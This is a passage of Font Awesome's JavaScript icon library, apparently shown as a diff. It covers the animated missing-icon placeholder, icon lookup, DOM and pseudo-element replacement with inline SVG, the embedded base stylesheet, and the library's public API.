repeatCount: 'indefinite', + dur: '2s' + }; + var RING = { + tag: 'path', + attributes: _objectSpread({}, FILL, { + d: 'M156.5,447.7l-12.6,29.5c-18.7-9.5-35.9-21.2-51.5-34.9l22.7-22.7C127.6,430.5,141.5,440,156.5,447.7z M40.6,272H8.5 c1.4,21.2,5.4,41.7,11.7,61.1L50,321.2C45.1,305.5,41.8,289,40.6,272z M40.6,240c1.4-18.8,5.2-37,11.1-54.1l-29.5-12.6 C14.7,194.3,10,216.7,8.5,240H40.6z M64.3,156.5c7.8-14.9,17.2-28.8,28.1-41.5L69.7,92.3c-13.7,15.6-25.5,32.8-34.9,51.5 L64.3,156.5z M397,419.6c-13.9,12-29.4,22.3-46.1,30.4l11.9,29.8c20.7-9.9,39.8-22.6,56.9-37.6L397,419.6z M115,92.4 c13.9-12,29.4-22.3,46.1-30.4l-11.9-29.8c-20.7,9.9-39.8,22.6-56.8,37.6L115,92.4z M447.7,355.5c-7.8,14.9-17.2,28.8-28.1,41.5 l22.7,22.7c13.7-15.6,25.5-32.9,34.9-51.5L447.7,355.5z M471.4,272c-1.4,18.8-5.2,37-11.1,54.1l29.5,12.6 c7.5-21.1,12.2-43.5,13.6-66.8H471.4z M321.2,462c-15.7,5-32.2,8.2-49.2,9.4v32.1c21.2-1.4,41.7-5.4,61.1-11.7L321.2,462z M240,471.4c-18.8-1.4-37-5.2-54.1-11.1l-12.6,29.5c21.1,7.5,43.5,12.2,66.8,13.6V471.4z M462,190.8c5,15.7,8.2,32.2,9.4,49.2h32.1 c-1.4-21.2-5.4-41.7-11.7-61.1L462,190.8z M92.4,397c-12-13.9-22.3-29.4-30.4-46.1l-29.8,11.9c9.9,20.7,22.6,39.8,37.6,56.9 L92.4,397z M272,40.6c18.8,1.4,36.9,5.2,54.1,11.1l12.6-29.5C317.7,14.7,295.3,10,272,8.5V40.6z M190.8,50 c15.7-5,32.2-8.2,49.2-9.4V8.5c-21.2,1.4-41.7,5.4-61.1,11.7L190.8,50z M442.3,92.3L419.6,115c12,13.9,22.3,29.4,30.5,46.1 l29.8-11.9C470,128.5,457.3,109.4,442.3,92.3z M397,92.4l22.7-22.7c-15.6-13.7-32.8-25.5-51.5-34.9l-12.6,29.5 C370.4,72.1,384.4,81.5,397,92.4z' + }) + }; + + var OPACITY_ANIMATE = _objectSpread({}, ANIMATION_BASE, { + attributeName: 'opacity' + }); + + var DOT = { + tag: 'circle', + attributes: _objectSpread({}, FILL, { + cx: '256', + cy: '364', + r: '28' + }), + children: [{ + tag: 'animate', + attributes: _objectSpread({}, ANIMATION_BASE, { + attributeName: 'r', + values: '28;14;28;28;14;28;' + }) + }, { + tag: 'animate', + attributes: _objectSpread({}, OPACITY_ANIMATE, { + values: '1;0;1;1;0;1;' + }) + }] + }; + var QUESTION = { + tag: 'path', + attributes: _objectSpread({}, FILL, { + opacity: '1', + d: 'M263.7,312h-16c-6.6,0-12-5.4-12-12c0-71,77.4-63.9,77.4-107.8c0-20-17.8-40.2-57.4-40.2c-29.1,0-44.3,9.6-59.2,28.7 c-3.9,5-11.1,6-16.2,2.4l-13.1-9.2c-5.6-3.9-6.9-11.8-2.6-17.2c21.2-27.2,46.4-44.7,91.2-44.7c52.3,0,97.4,29.8,97.4,80.2 c0,67.6-77.4,63.5-77.4,107.8C275.7,306.6,270.3,312,263.7,312z' + }), + children: [{ + tag: 'animate', + attributes: _objectSpread({}, OPACITY_ANIMATE, { + values: '1;0;0;0;0;1;' + }) + }] + }; + var EXCLAMATION = { + tag: 'path', + attributes: _objectSpread({}, FILL, { + opacity: '0', + d: 'M232.5,134.5l7,168c0.3,6.4,5.6,11.5,12,11.5h9c6.4,0,11.7-5.1,12-11.5l7-168c0.3-6.8-5.2-12.5-12-12.5h-23 C237.7,122,232.2,127.7,232.5,134.5z' + }), + children: [{ + tag: 'animate', + attributes: _objectSpread({}, OPACITY_ANIMATE, { + values: '0;0;1;1;0;0;' + }) + }] + }; + var missing = { + tag: 'g', + children: [RING, DOT, QUESTION, EXCLAMATION] + }; + + var styles$2 = namespace.styles; + function asFoundIcon(icon) { + var width = icon[0]; + var height = icon[1]; + + var _icon$slice = icon.slice(4), + _icon$slice2 = _slicedToArray(_icon$slice, 1), + vectorData = _icon$slice2[0]; + + var element = null; + + if (Array.isArray(vectorData)) { + element = { + tag: 'g', + attributes: { + class: "".concat(config.familyPrefix, "-").concat(DUOTONE_CLASSES.GROUP) + }, + children: [{ + tag: 'path', + attributes: { + class: "".concat(config.familyPrefix, "-").concat(DUOTONE_CLASSES.SECONDARY), + fill: 'currentColor', + d: vectorData[0] + } + }, { + tag: 'path', + attributes: { + class: "".concat(config.familyPrefix, "-").concat(DUOTONE_CLASSES.PRIMARY), + fill: 'currentColor', + d: vectorData[1] + } + }] + }; + } else { + element = { + tag: 'path', + attributes: { + fill: 'currentColor', + d: vectorData + } + }; + } + + return { + found: true, + width: width, + height: height, + icon: element + }; + } + function findIcon(iconName, prefix) { + return new picked(function (resolve, reject) { + var val = { + found: false, + width: 512, + height: 512, + icon: missing + }; + + if (iconName && prefix && styles$2[prefix] && styles$2[prefix][iconName]) { + var icon = styles$2[prefix][iconName]; + return resolve(asFoundIcon(icon)); + } + + if (iconName && prefix && !config.showMissingIcons) { + reject(new MissingIcon("Icon is missing for prefix ".concat(prefix, " with icon name ").concat(iconName))); + } else { + resolve(val); + } + }); + } + + var styles$3 = namespace.styles; + + function generateSvgReplacementMutation(node, nodeMeta) { + var iconName = nodeMeta.iconName, + title = nodeMeta.title, + titleId = nodeMeta.titleId, + prefix = nodeMeta.prefix, + transform = nodeMeta.transform, + symbol = nodeMeta.symbol, + mask = nodeMeta.mask, + maskId = nodeMeta.maskId, + extra = nodeMeta.extra; + return new picked(function (resolve, reject) { + picked.all([findIcon(iconName, prefix), findIcon(mask.iconName, mask.prefix)]).then(function (_ref) { + var _ref2 = _slicedToArray(_ref, 2), + main = _ref2[0], + mask = _ref2[1]; + + resolve([node, makeInlineSvgAbstract({ + icons: { + main: main, + mask: mask + }, + prefix: prefix, + iconName: iconName, + transform: transform, + symbol: symbol, + mask: mask, + maskId: maskId, + title: title, + titleId: titleId, + extra: extra, + watchable: true + })]); + }); + }); + } + + function generateLayersText(node, nodeMeta) { + var title = nodeMeta.title, + transform = nodeMeta.transform, + extra = nodeMeta.extra; + var width = null; + var height = null; + + if (IS_IE) { + var computedFontSize = parseInt(getComputedStyle(node).fontSize, 10); + var boundingClientRect = node.getBoundingClientRect(); + width = boundingClientRect.width / computedFontSize; + height = boundingClientRect.height / computedFontSize; + } + + if (config.autoA11y && !title) { + extra.attributes['aria-hidden'] = 'true'; + } + + return picked.resolve([node, makeLayersTextAbstract({ + content: node.innerHTML, + width: width, + height: height, + transform: transform, + title: title, + extra: extra, + watchable: true + })]); + } + + function generateMutation(node) { + var nodeMeta = parseMeta(node); + + if (~nodeMeta.extra.classes.indexOf(LAYERS_TEXT_CLASSNAME)) { + return generateLayersText(node, nodeMeta); + } else { + return generateSvgReplacementMutation(node, nodeMeta); + } + } + + function onTree(root) { + var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; + if (!IS_DOM) return; + var htmlClassList = DOCUMENT.documentElement.classList; + + var hclAdd = function hclAdd(suffix) { + return htmlClassList.add("".concat(HTML_CLASS_I2SVG_BASE_CLASS, "-").concat(suffix)); + }; + + var hclRemove = function hclRemove(suffix) { + return htmlClassList.remove("".concat(HTML_CLASS_I2SVG_BASE_CLASS, "-").concat(suffix)); + }; + + var prefixes = config.autoFetchSvg ? Object.keys(PREFIX_TO_STYLE) : Object.keys(styles$3); + var prefixesDomQuery = [".".concat(LAYERS_TEXT_CLASSNAME, ":not([").concat(DATA_FA_I2SVG, "])")].concat(prefixes.map(function (p) { + return ".".concat(p, ":not([").concat(DATA_FA_I2SVG, "])"); + })).join(', '); + + if (prefixesDomQuery.length === 0) { + return; + } + + var candidates = []; + + try { + candidates = toArray(root.querySelectorAll(prefixesDomQuery)); + } catch (e) {// noop + } + + if (candidates.length > 0) { + hclAdd('pending'); + hclRemove('complete'); + } else { + return; + } + + var mark = perf.begin('onTree'); + var mutations = candidates.reduce(function (acc, node) { + try { + var mutation = generateMutation(node); + + if (mutation) { + acc.push(mutation); + } + } catch (e) { + if (!PRODUCTION) { + if (e instanceof MissingIcon) { + console.error(e); + } + } + } + + return acc; + }, []); + return new picked(function (resolve, reject) { + picked.all(mutations).then(function (resolvedMutations) { + perform(resolvedMutations, function () { + hclAdd('active'); + hclAdd('complete'); + hclRemove('pending'); + if (typeof callback === 'function') callback(); + mark(); + resolve(); + }); + }).catch(function () { + mark(); + reject(); + }); + }); + } + function onNode(node) { + var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; + generateMutation(node).then(function (mutation) { + if (mutation) { + perform([mutation], callback); + } + }); + } + + function replaceForPosition(node, position) { + var pendingAttribute = "".concat(DATA_FA_PSEUDO_ELEMENT_PENDING).concat(position.replace(':', '-')); + return new picked(function (resolve, reject) { + if (node.getAttribute(pendingAttribute) !== null) { + // This node is already being processed + return resolve(); + } + + var children = toArray(node.children); + var alreadyProcessedPseudoElement = children.filter(function (c) { + return c.getAttribute(DATA_FA_PSEUDO_ELEMENT) === position; + })[0]; + var styles = WINDOW.getComputedStyle(node, position); + var fontFamily = styles.getPropertyValue('font-family').match(FONT_FAMILY_PATTERN); + var fontWeight = styles.getPropertyValue('font-weight'); + var content = styles.getPropertyValue('content'); + + if (alreadyProcessedPseudoElement && !fontFamily) { + // If we've already processed it but the current computed style does not result in a font-family, + // that probably means that a class name that was previously present to make the icon has been + // removed. So we now should delete the icon. + node.removeChild(alreadyProcessedPseudoElement); + return resolve(); + } else if (fontFamily && content !== 'none' && content !== '') { + var _content = styles.getPropertyValue('content'); + + var prefix = ~['Solid', 'Regular', 'Light', 'Duotone', 'Brands', 'Kit'].indexOf(fontFamily[2]) ? STYLE_TO_PREFIX[fontFamily[2].toLowerCase()] : FONT_WEIGHT_TO_PREFIX[fontWeight]; + var hexValue = toHex(_content.length === 3 ? _content.substr(1, 1) : _content); + var iconName = byUnicode(prefix, hexValue); + var iconIdentifier = iconName; // Only convert the pseudo element in this :before/:after position into an icon if we haven't + // already done so with the same prefix and iconName + + if (iconName && (!alreadyProcessedPseudoElement || alreadyProcessedPseudoElement.getAttribute(DATA_PREFIX) !== prefix || alreadyProcessedPseudoElement.getAttribute(DATA_ICON) !== iconIdentifier)) { + node.setAttribute(pendingAttribute, iconIdentifier); + + if (alreadyProcessedPseudoElement) { + // Delete the old one, since we're replacing it with a new one + node.removeChild(alreadyProcessedPseudoElement); + } + + var meta = blankMeta(); + var extra = meta.extra; + extra.attributes[DATA_FA_PSEUDO_ELEMENT] = position; + findIcon(iconName, prefix).then(function (main) { + var abstract = makeInlineSvgAbstract(_objectSpread({}, meta, { + icons: { + main: main, + mask: emptyCanonicalIcon() + }, + prefix: prefix, + iconName: iconIdentifier, + extra: extra, + watchable: true + })); + var element = DOCUMENT.createElement('svg'); + + if (position === ':before') { + node.insertBefore(element, node.firstChild); + } else { + node.appendChild(element); + } + + element.outerHTML = abstract.map(function (a) { + return toHtml(a); + }).join('\n'); + node.removeAttribute(pendingAttribute); + resolve(); + }).catch(reject); + } else { + resolve(); + } + } else { + resolve(); + } + }); + } + + function replace(node) { + return picked.all([replaceForPosition(node, ':before'), replaceForPosition(node, ':after')]); + } + + function processable(node) { + return node.parentNode !== document.head && !~TAGNAMES_TO_SKIP_FOR_PSEUDOELEMENTS.indexOf(node.tagName.toUpperCase()) && !node.getAttribute(DATA_FA_PSEUDO_ELEMENT) && (!node.parentNode || node.parentNode.tagName !== 'svg'); + } + + function searchPseudoElements (root) { + if (!IS_DOM) return; + return new picked(function (resolve, reject) { + var operations = toArray(root.querySelectorAll('*')).filter(processable).map(replace); + var end = perf.begin('searchPseudoElements'); + disableObservation(); + picked.all(operations).then(function () { + end(); + enableObservation(); + resolve(); + }).catch(function () { + end(); + enableObservation(); + reject(); + }); + }); + } + + var baseStyles = "svg:not(:root).svg-inline--fa {\n overflow: visible;\n}\n\n.svg-inline--fa {\n display: inline-block;\n font-size: inherit;\n height: 1em;\n overflow: visible;\n vertical-align: -0.125em;\n}\n.svg-inline--fa.fa-lg {\n vertical-align: -0.225em;\n}\n.svg-inline--fa.fa-w-1 {\n width: 0.0625em;\n}\n.svg-inline--fa.fa-w-2 {\n width: 0.125em;\n}\n.svg-inline--fa.fa-w-3 {\n width: 0.1875em;\n}\n.svg-inline--fa.fa-w-4 {\n width: 0.25em;\n}\n.svg-inline--fa.fa-w-5 {\n width: 0.3125em;\n}\n.svg-inline--fa.fa-w-6 {\n width: 0.375em;\n}\n.svg-inline--fa.fa-w-7 {\n width: 0.4375em;\n}\n.svg-inline--fa.fa-w-8 {\n width: 0.5em;\n}\n.svg-inline--fa.fa-w-9 {\n width: 0.5625em;\n}\n.svg-inline--fa.fa-w-10 {\n width: 0.625em;\n}\n.svg-inline--fa.fa-w-11 {\n width: 0.6875em;\n}\n.svg-inline--fa.fa-w-12 {\n width: 0.75em;\n}\n.svg-inline--fa.fa-w-13 {\n width: 0.8125em;\n}\n.svg-inline--fa.fa-w-14 {\n width: 0.875em;\n}\n.svg-inline--fa.fa-w-15 {\n width: 0.9375em;\n}\n.svg-inline--fa.fa-w-16 {\n width: 1em;\n}\n.svg-inline--fa.fa-w-17 {\n width: 1.0625em;\n}\n.svg-inline--fa.fa-w-18 {\n width: 1.125em;\n}\n.svg-inline--fa.fa-w-19 {\n width: 1.1875em;\n}\n.svg-inline--fa.fa-w-20 {\n width: 1.25em;\n}\n.svg-inline--fa.fa-pull-left {\n margin-right: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-pull-right {\n margin-left: 0.3em;\n width: auto;\n}\n.svg-inline--fa.fa-border {\n height: 1.5em;\n}\n.svg-inline--fa.fa-li {\n width: 2em;\n}\n.svg-inline--fa.fa-fw {\n width: 1.25em;\n}\n\n.fa-layers svg.svg-inline--fa {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.fa-layers {\n display: inline-block;\n height: 1em;\n position: relative;\n text-align: center;\n vertical-align: -0.125em;\n width: 1em;\n}\n.fa-layers svg.svg-inline--fa {\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter, .fa-layers-text {\n display: inline-block;\n position: absolute;\n text-align: center;\n}\n\n.fa-layers-text {\n left: 50%;\n top: 50%;\n -webkit-transform: translate(-50%, -50%);\n transform: translate(-50%, -50%);\n -webkit-transform-origin: center center;\n transform-origin: center center;\n}\n\n.fa-layers-counter {\n background-color: #ff253a;\n border-radius: 1em;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n color: #fff;\n height: 1.5em;\n line-height: 1;\n max-width: 5em;\n min-width: 1.5em;\n overflow: hidden;\n padding: 0.25em;\n right: 0;\n text-overflow: ellipsis;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-bottom-right {\n bottom: 0;\n right: 0;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom right;\n transform-origin: bottom right;\n}\n\n.fa-layers-bottom-left {\n bottom: 0;\n left: 0;\n right: auto;\n top: auto;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: bottom left;\n transform-origin: bottom left;\n}\n\n.fa-layers-top-right {\n right: 0;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top right;\n transform-origin: top right;\n}\n\n.fa-layers-top-left {\n left: 0;\n right: auto;\n top: 0;\n -webkit-transform: scale(0.25);\n transform: scale(0.25);\n -webkit-transform-origin: top left;\n transform-origin: top left;\n}\n\n.fa-lg {\n font-size: 1.3333333333em;\n line-height: 0.75em;\n vertical-align: -0.0667em;\n}\n\n.fa-xs {\n font-size: 0.75em;\n}\n\n.fa-sm {\n font-size: 0.875em;\n}\n\n.fa-1x {\n font-size: 1em;\n}\n\n.fa-2x {\n font-size: 2em;\n}\n\n.fa-3x {\n font-size: 3em;\n}\n\n.fa-4x {\n font-size: 4em;\n}\n\n.fa-5x {\n font-size: 5em;\n}\n\n.fa-6x {\n font-size: 6em;\n}\n\n.fa-7x {\n font-size: 7em;\n}\n\n.fa-8x {\n font-size: 8em;\n}\n\n.fa-9x {\n font-size: 9em;\n}\n\n.fa-10x {\n font-size: 10em;\n}\n\n.fa-fw {\n text-align: center;\n width: 1.25em;\n}\n\n.fa-ul {\n list-style-type: none;\n margin-left: 2.5em;\n padding-left: 0;\n}\n.fa-ul > li {\n position: relative;\n}\n\n.fa-li {\n left: -2em;\n position: absolute;\n text-align: center;\n width: 2em;\n line-height: inherit;\n}\n\n.fa-border {\n border: solid 0.08em #eee;\n border-radius: 0.1em;\n padding: 0.2em 0.25em 0.15em;\n}\n\n.fa-pull-left {\n float: left;\n}\n\n.fa-pull-right {\n float: right;\n}\n\n.fa.fa-pull-left,\n.fas.fa-pull-left,\n.far.fa-pull-left,\n.fal.fa-pull-left,\n.fab.fa-pull-left {\n margin-right: 0.3em;\n}\n.fa.fa-pull-right,\n.fas.fa-pull-right,\n.far.fa-pull-right,\n.fal.fa-pull-right,\n.fab.fa-pull-right {\n margin-left: 0.3em;\n}\n\n.fa-spin {\n -webkit-animation: fa-spin 2s infinite linear;\n animation: fa-spin 2s infinite linear;\n}\n\n.fa-pulse {\n -webkit-animation: fa-spin 1s infinite steps(8);\n animation: fa-spin 1s infinite steps(8);\n}\n\n@-webkit-keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n\n@keyframes fa-spin {\n 0% {\n -webkit-transform: rotate(0deg);\n transform: rotate(0deg);\n }\n 100% {\n -webkit-transform: rotate(360deg);\n transform: rotate(360deg);\n }\n}\n.fa-rotate-90 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";\n -webkit-transform: rotate(90deg);\n transform: rotate(90deg);\n}\n\n.fa-rotate-180 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";\n -webkit-transform: rotate(180deg);\n transform: rotate(180deg);\n}\n\n.fa-rotate-270 {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";\n -webkit-transform: rotate(270deg);\n transform: rotate(270deg);\n}\n\n.fa-flip-horizontal {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";\n -webkit-transform: scale(-1, 1);\n transform: scale(-1, 1);\n}\n\n.fa-flip-vertical {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n -webkit-transform: scale(1, -1);\n transform: scale(1, -1);\n}\n\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\n -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n -webkit-transform: scale(-1, -1);\n transform: scale(-1, -1);\n}\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical,\n:root .fa-flip-both {\n -webkit-filter: none;\n filter: none;\n}\n\n.fa-stack {\n display: inline-block;\n height: 2em;\n position: relative;\n width: 2.5em;\n}\n\n.fa-stack-1x,\n.fa-stack-2x {\n bottom: 0;\n left: 0;\n margin: auto;\n position: absolute;\n right: 0;\n top: 0;\n}\n\n.svg-inline--fa.fa-stack-1x {\n height: 1em;\n width: 1.25em;\n}\n.svg-inline--fa.fa-stack-2x {\n height: 2em;\n width: 2.5em;\n}\n\n.fa-inverse {\n color: #fff;\n}\n\n.sr-only {\n border: 0;\n clip: rect(0, 0, 0, 0);\n height: 1px;\n margin: -1px;\n overflow: hidden;\n padding: 0;\n position: absolute;\n width: 1px;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n clip: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n position: static;\n width: auto;\n}\n\n.svg-inline--fa .fa-primary {\n fill: var(--fa-primary-color, currentColor);\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa .fa-secondary {\n fill: var(--fa-secondary-color, currentColor);\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-primary {\n opacity: 0.4;\n opacity: var(--fa-secondary-opacity, 0.4);\n}\n\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\n opacity: 1;\n opacity: var(--fa-primary-opacity, 1);\n}\n\n.svg-inline--fa mask .fa-primary,\n.svg-inline--fa mask .fa-secondary {\n fill: black;\n}\n\n.fad.fa-inverse {\n color: #fff;\n}"; + + function css () { + var dfp = DEFAULT_FAMILY_PREFIX; + var drc = DEFAULT_REPLACEMENT_CLASS; + var fp = config.familyPrefix; + var rc = config.replacementClass; + var s = baseStyles; + + if (fp !== dfp || rc !== drc) { + var dPatt = new RegExp("\\.".concat(dfp, "\\-"), 'g'); + var customPropPatt = new RegExp("\\--".concat(dfp, "\\-"), 'g'); + var rPatt = new RegExp("\\.".concat(drc), 'g'); + s = s.replace(dPatt, ".".concat(fp, "-")).replace(customPropPatt, "--".concat(fp, "-")).replace(rPatt, ".".concat(rc)); + } + + return s; + } + + var Library = + /*#__PURE__*/ + function () { + function Library() { + _classCallCheck(this, Library); + + this.definitions = {}; + } + + _createClass(Library, [{ + key: "add", + value: function add() { + var _this = this; + + for (var _len = arguments.length, definitions = new Array(_len), _key = 0; _key < _len; _key++) { + definitions[_key] = arguments[_key]; + } + + var additions = definitions.reduce(this._pullDefinitions, {}); + Object.keys(additions).forEach(function (key) { + _this.definitions[key] = _objectSpread({}, _this.definitions[key] || {}, additions[key]); + defineIcons(key, additions[key]); + build(); + }); + } + }, { + key: "reset", + value: function reset() { + this.definitions = {}; + } + }, { + key: "_pullDefinitions", + value: function _pullDefinitions(additions, definition) { + var normalized = definition.prefix && definition.iconName && definition.icon ? { + 0: definition + } : definition; + Object.keys(normalized).map(function (key) { + var _normalized$key = normalized[key], + prefix = _normalized$key.prefix, + iconName = _normalized$key.iconName, + icon = _normalized$key.icon; + if (!additions[prefix]) additions[prefix] = {}; + additions[prefix][iconName] = icon; + }); + return additions; + } + }]); + + return Library; + }(); + + function ensureCss() { + if (config.autoAddCss && !_cssInserted) { + insertCss(css()); + + _cssInserted = true; + } + } + + function apiObject(val, abstractCreator) { + Object.defineProperty(val, 'abstract', { + get: abstractCreator + }); + Object.defineProperty(val, 'html', { + get: function get() { + return val.abstract.map(function (a) { + return toHtml(a); + }); + } + }); + Object.defineProperty(val, 'node', { + get: function get() { + if (!IS_DOM) return; + var container = DOCUMENT.createElement('div'); + container.innerHTML = val.html; + return container.children; + } + }); + return val; + } + + function findIconDefinition(iconLookup) { + var _iconLookup$prefix = iconLookup.prefix, + prefix = _iconLookup$prefix === void 0 ? 'fa' : _iconLookup$prefix, + iconName = iconLookup.iconName; + if (!iconName) return; + return iconFromMapping(library.definitions, prefix, iconName) || iconFromMapping(namespace.styles, prefix, iconName); + } + + function resolveIcons(next) { + return function (maybeIconDefinition) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var iconDefinition = (maybeIconDefinition || {}).icon ? maybeIconDefinition : findIconDefinition(maybeIconDefinition || {}); + var mask = params.mask; + + if (mask) { + mask = (mask || {}).icon ? mask : findIconDefinition(mask || {}); + } + + return next(iconDefinition, _objectSpread({}, params, { + mask: mask + })); + }; + } + + var library = new Library(); + var noAuto = function noAuto() { + config.autoReplaceSvg = false; + config.observeMutations = false; + disconnect(); + }; + var _cssInserted = false; + var dom = { + i2svg: function i2svg() { + var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + + if (IS_DOM) { + ensureCss(); + var _params$node = params.node, + node = _params$node === void 0 ? DOCUMENT : _params$node, + _params$callback = params.callback, + callback = _params$callback === void 0 ? function () {} : _params$callback; + + if (config.searchPseudoElements) { + searchPseudoElements(node); + } + + return onTree(node, callback); + } else { + return picked.reject('Operation requires a DOM of some kind.'); + } + }, + css: css, + insertCss: function insertCss$$1() { + if (!_cssInserted) { + insertCss(css()); + + _cssInserted = true; + } + }, + watch: function watch() { + var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + var autoReplaceSvgRoot = params.autoReplaceSvgRoot, + observeMutationsRoot = params.observeMutationsRoot; + + if (config.autoReplaceSvg === false) { + config.autoReplaceSvg = true; + } + + config.observeMutations = true; + domready(function () { + autoReplace({ + autoReplaceSvgRoot: autoReplaceSvgRoot + }); + observe({ + treeCallback: onTree, + nodeCallback: onNode, + pseudoElementsCallback: searchPseudoElements, + observeMutationsRoot: observeMutationsRoot + }); + }); + } + }; + var parse = { + transform: function transform(transformString) { + return parseTransformString(transformString); + } + }; + var icon = resolveIcons(function (iconDefinition) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$transform = params.transform, + transform = _params$transform === void 0 ? meaninglessTransform : _params$transform, + _params$symbol = params.symbol, + symbol = _params$symbol === void 0 ? false : _params$symbol, + _params$mask = params.mask, + mask = _params$mask === void 0 ? null : _params$mask, + _params$maskId = params.maskId, + maskId = _params$maskId === void 0 ? null : _params$maskId, + _params$title = params.title, + title = _params$title === void 0 ? null : _params$title, + _params$titleId = params.titleId, + titleId = _params$titleId === void 0 ? null : _params$titleId, + _params$classes = params.classes, + classes = _params$classes === void 0 ? [] : _params$classes, + _params$attributes = params.attributes, + attributes = _params$attributes === void 0 ? {} : _params$attributes, + _params$styles = params.styles, + styles = _params$styles === void 0 ? {} : _params$styles; + if (!iconDefinition) return; + var prefix = iconDefinition.prefix, + iconName = iconDefinition.iconName, + icon = iconDefinition.icon; + return apiObject(_objectSpread({ + type: 'icon' + }, iconDefinition), function () { + ensureCss(); + + if (config.autoA11y) { + if (title) { + attributes['aria-labelledby'] = "".concat(config.replacementClass, "-title-").concat(titleId || nextUniqueId()); + } else { + attributes['aria-hidden'] = 'true'; + attributes['focusable'] = 'false'; + } + } + + return makeInlineSvgAbstract({ + icons: { + main: asFoundIcon(icon), + mask: mask ? asFoundIcon(mask.icon) : { + found: false, + width: null, + height: null, + icon: {} + } + }, + prefix: prefix, + iconName: iconName, + transform: _objectSpread({}, meaninglessTransform, transform), + symbol: symbol, + title: title, + maskId: maskId, + titleId: titleId, + extra: { + attributes: attributes, + styles: styles, + classes: classes + } + }); + }); + }); + var text = function text(content) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$transform2 = params.transform, + transform = _params$transform2 === void 0 ? meaninglessTransform : _params$transform2, + _params$title2 = params.title, + title = _params$title2 === void 0 ? null : _params$title2, + _params$classes2 = params.classes, + classes = _params$classes2 === void 0 ? [] : _params$classes2, + _params$attributes2 = params.attributes, + attributes = _params$attributes2 === void 0 ? {} : _params$attributes2, + _params$styles2 = params.styles, + styles = _params$styles2 === void 0 ? {} : _params$styles2; + return apiObject({ + type: 'text', + content: content + }, function () { + ensureCss(); + return makeLayersTextAbstract({ + content: content, + transform: _objectSpread({}, meaninglessTransform, transform), + title: title, + extra: { + attributes: attributes, + styles: styles, + classes: ["".concat(config.familyPrefix, "-layers-text")].concat(_toConsumableArray(classes)) + } + }); + }); + }; + var counter = function counter(content) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$title3 = params.title, + title = _params$title3 === void 0 ? null : _params$title3, + _params$classes3 = params.classes, + classes = _params$classes3 === void 0 ? [] : _params$classes3, + _params$attributes3 = params.attributes, + attributes = _params$attributes3 === void 0 ? {} : _params$attributes3, + _params$styles3 = params.styles, + styles = _params$styles3 === void 0 ? {} : _params$styles3; + return apiObject({ + type: 'counter', + content: content + }, function () { + ensureCss(); + return makeLayersCounterAbstract({ + content: content.toString(), + title: title, + extra: { + attributes: attributes, + styles: styles, + classes: ["".concat(config.familyPrefix, "-layers-counter")].concat(_toConsumableArray(classes)) + } + }); + }); + }; + var layer = function layer(assembler) { + var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; + var _params$classes4 = params.classes, + classes = _params$classes4 === void 0 ? [] : _params$classes4; + return apiObject({ + type: 'layer' + }, function () { + ensureCss(); + var children = []; + assembler(function (args) { + Array.isArray(args) ? args.map(function (a) { + children = children.concat(a.abstract); + }) : children = children.concat(args.abstract); + }); + return [{ + tag: 'span', + attributes: { + class: ["".concat(config.familyPrefix, "-layers")].concat(_toConsumableArray(classes)).join(' ') + }, + children: children + }]; + }); + }; + var api = { + noAuto: noAuto, + config: config, + dom: dom, + library: library, + parse: parse, + findIconDefinition: findIconDefinition, + icon: icon, + text: text, + counter: counter, + layer: layer, + toHtml: toHtml + }; + + var autoReplace = function autoReplace() { + var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; + var _params$autoReplaceSv = params.autoReplaceSvgRoot, + autoReplaceSvgRoot = _params$autoReplaceSv === void 0 ? DOCUMENT : _params$autoReplaceSv; + if ((Object.keys(namespace.styles).length > 0 || config.autoFetchSvg) && IS_DOM && config.autoReplaceSvg) api.dom.i2svg({ + node: autoReplaceSvgRoot + }); + }; + + function bootstrap() { + if (IS_BROWSER) { + if (!WINDOW.FontAwesome) { + WINDOW.FontAwesome = api; + } + + domready(function () { + autoReplace(); + observe({ + treeCallback: onTree, + nodeCallback: onNode, + pseudoElementsCallback: searchPseudoElements + }); + }); + } + + namespace.hooks = _objectSpread({}, 